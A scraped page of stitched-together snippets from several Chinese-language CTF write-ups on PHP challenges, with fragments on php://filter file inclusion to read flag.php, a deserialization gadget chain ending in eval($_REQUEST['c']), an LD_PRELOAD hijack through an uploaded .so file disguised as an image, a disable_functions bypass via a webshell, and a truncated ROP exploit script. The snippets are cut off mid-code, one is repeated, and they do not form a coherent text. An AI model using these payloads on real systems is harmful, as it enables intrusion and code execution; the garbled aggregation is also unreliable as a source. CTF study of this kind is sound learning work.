首先我们看到这里include(包含)一个“flag.php”文件,但是目前我们还不知道它到底有什么用处就先扔一边 再往下看 也只剩这一坨了,但是稍微有编程语言基础的其实都看得出来里面的“if”和“else”,就是判断 那就是这个了,首先用"$"定义了"name"和"password"这两个变量,然后一个以"GET"方式传参,一个以"POST"
三、总结 本题涉及到了php中的filter过滤协议,如果从前端无论如何都找不到想要的信息,同时题目给了一定的暗示,例如include,你怎么也看不见我。就可以往filter上靠,尝试下。
例题:2019安洵杯easy_serialize_php 代码语言:javascript 代码运行次数:0 运行 AI代码解释 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,...
当看到ini_set("allow_url_include","on");设置为on,那我们可以想到可以进行文件包含用伪协议来读取flag.php这个文件 我们来用filter来构造payload: file=php://filter/read=convert.base64-encode/resource=flag.php 得到的字符就是base64加密后的flag,去解密出来就是我们要的答案啦 __EOF__...
他提示我们传入一个file,也就是我们可以直接在url里面进行get传参,我们传入一个url?file=1看看会返回什么 提示我们flag在flag.php里面,我们首先可以想到的是文件包含,然后我们看到了代码的第二行,allow_url_include:on 我们可以联想到php伪协议,这样我们就可以得到这一道题目的思路了。
从这两次公益赛来看这个都是考点(春秋和高校)两次的题目分别是:easy-thinking和php-uaf都是做到了代码执行却没有命令执行,所以通常步骤就是,利用蚁剑链接我们的shell代码执行,将下面的脚本写好命令传上去然后访问,利用phpgc进程Bypass 条件:php7.0 < 7.3 (Unix) ...
从这两次公益赛来看这个都是考点(春秋和高校)两次的题目分别是:easy-thinking和php-uaf都是做到了代码执行却没有命令执行,所以通常步骤就是,利用蚁剑链接我们的shell代码执行,将下面的脚本写好命令传上去然后访问,利用phpgc进程Bypass 条件:php7.0 < 7.3 (Unix) ...
代码是不是和这道题很相似?确实,这是一道环境变量注入,什么easy php,笑死😥😥😥借用这位大佬的话: 在有上传点(无需控制文件名)的情况下,这段代码其实比较简单了,可以直接用LD_PRELOAD搞定。上传一个文件名不限的so文件,如hj.jpg,可以通过LD_PRELOAD=/var/www/html/uploads/hj.jpg这样的方法劫持并执行任...
与easyprintf不同的是这个题目是静态编译的,程序中没有system函数,因此构造了一个裸的rop去获取shell。from threading import Thread import operator from zio import * target = './NotFormat' target = ('123.59.71.3', 20020) def interact(io): def run_recv(): while True: try: output = io.read_...
['dispatch' => 'obj...'];public function __construct($obj){$this -> formatters['dispatch'] = $obj;}}class Easy{protected $events;protected $event = [1 => ['eval($_REQUEST["c"])']];public function __construct($obj){$this -> events = $obj;}}$obj = new Easy(new This(new...